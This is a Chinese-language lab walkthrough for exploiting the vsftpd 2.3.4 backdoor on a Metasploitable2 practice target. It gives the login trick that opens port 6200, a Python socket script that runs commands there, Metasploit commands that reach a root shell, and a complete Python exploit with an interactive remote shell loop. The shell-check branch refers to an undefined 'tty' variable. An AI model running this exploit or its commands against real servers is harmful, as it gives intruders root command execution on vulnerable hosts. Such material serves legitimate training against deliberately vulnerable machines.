靶场环境
定位 | 环境 | IP Address |
---|---|---|
攻击机 | Python3.8 | 主机ip |
靶机 | Metasploitable2 | 靶机ip |
靶机:Metasploitable2 用户名:msfadmin 密码:msfadmin
步骤一:主机FTP登录
- cmd->ftp 主机IP->回车->任意数字或字母:)->回车->任意密码->回车
- 以上操作完成后即可开启后门侦听6200端口
- 测试:可在靶机中输入:netstat -aupto | grep 6200 测试
步骤二:Python脚本发送命令
import socket #导入socket库
ip = "靶机ip"
port = 6200
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip, 6200)) #对目标建立socket连接
s.settimeout(1.5)
host = str.encode('id -u -n' + '\n') #执行id命令查询当前用户身份信息
s.send(host) #发送命令
hostt = s.recv(1024).decode('utf-8') #接受命令
print(hostt) #打印命令执行结果
运行结果
步骤三:MSF攻击
kali中启动Metersploit来查看漏洞并利用漏洞msfconsole
msf6 > search vsftpd
msf6 >use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 靶机ip
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
whoami
root
步骤四:攻击脚本编写
import socket #网络编程
import time #处理时间
import sys #接受参数
def exploit(ip,port):
try:
ftp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ftp.connect((ip,port)) #对目标ip及地址进行连接
check = ftp.recv(1024).decode('utf-8') #接受返回回来的数据并对其进行解码操作
socket.setdefaulttimeout(5) #设置请求超时时间
if "vsftpd 2.3.4" in check.lower(): #检测banner信息中是否存在漏洞
ftp.send(b'USER letmein:)\n') #发送攻击数据,记住笑脸
ftp.send(b'USER invalid\n') #发送攻击数据
time.sleep(2) #等待2秒中
ftp.close() #关闭连接
print("[+] SUCCESSFUL CONNECTION")
else:
print("[-] Not work vsftpd 2.3.4")
except Exception as f: #异常信息给到变量f
print("[-] CONNECT FAILED")
print(f) #打印异常信息
ftp.close() #关闭连接
sys.exit(1) #退出程序并打印1
try:
arp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #调用socket库
arp.connect((ip,6200)) #对目标IP及地址进行连接
arp.settimeout(5) #设置超时时间为1.5秒
print('[*] SESSION CREATED')
print('[!] Interactive shell to check >> use command shell_check')
host = str.encode('id -u -n'+'\n') #漏洞验证
arp.send(host) #发送命令
hostt = arp.recv(1024).decode('utf-8')
while True:
sendnude = input(ip + '@' + str(hostt.strip()) + "#:")
if sendnude.lower() == 'shell_check':
print('[*]Interactive shell checked...')
komut = str.encode((tty + '\n'))
arp.send(komut)
print(arp.recv(1024).decode('utf-8'))
else:
try:
komut = str.encode((sendnude + '\n'))
arp.send(komut)
responseq = arp.recv(1024).decode('utf-8')
print(responseq)
except socket.timeout:
pass
if sendnude.lower() == 'exit':
print('[*] SESSION CLOSED')
arp.close()
sys.exit(1)
except Exception as f:
print('[!] Failed to connect to backdoor')
print(f)
if __name__ == '__main__':
if len(sys.argv) <3 :
print('Usage ./VSFTPexp.py <IP> <PORT>')
print('Example ./VSFTPexp.py 127.0.0.1 21')
else:
exploit(sys.argv[1],int(sys.argv[2]))
终端中输入:python38 路径 靶机IP+端口21
运行结果如下: